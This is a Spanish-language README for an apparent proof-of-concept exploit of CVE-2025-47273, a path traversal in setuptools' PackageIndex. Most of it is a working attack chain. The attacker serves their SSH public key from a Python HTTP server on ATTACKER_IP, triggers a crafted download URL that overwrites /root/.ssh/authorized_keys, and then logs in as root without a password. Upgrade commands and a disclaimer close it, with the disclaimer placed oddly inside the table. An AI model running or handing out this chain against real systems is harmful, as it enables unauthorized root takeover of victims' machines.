
CVE-2025-47273 — PoC de path traversal en setuptools
Exploit de prueba de concepto para una vulnerabilidad de recorrido de rutas en Python setuptools < 78.1.1.
Al abusar de la función _download_url del componente PackageIndex, un atacante puede escribir archivos arbitrarios en cualquier ubicación del sistema de archivos — con los privilegios del proceso que ejecuta setuptools.
| Campo | Detalle |
|---|---|
| 🎯 Objetivo | Python setuptools < 78.1.1 |
| 🐛 Clase de Error | Recorrido de Rutas (CWE-22) |
| 💥 Impacto | Escritura arbitraria de archivos |
| 📍 Vector de Ataque | URL maliciosa de índice de paquetes |
| 🔍 Causa Raíz | os.path.join() descarta tmpdir cuando el segundo argumento comienza con / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex de setuptools con una URL controlada por el usuario# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
Este servidor responde a cualquier solicitud GET con tu clave pública — sin importar la ruta. setuptools solicitará la ruta /USER/.ssh/authorized_keys pero recibirá el contenido de tu clave.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Sin contraseña. Shell de root directa. 🔑
La versión 78.1.1 soluciona el problema.
| Gestor de Paquetes | Comando |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu |
Este código de Prueba de Concepto (PoC) se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.
sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manual | setuptools releases |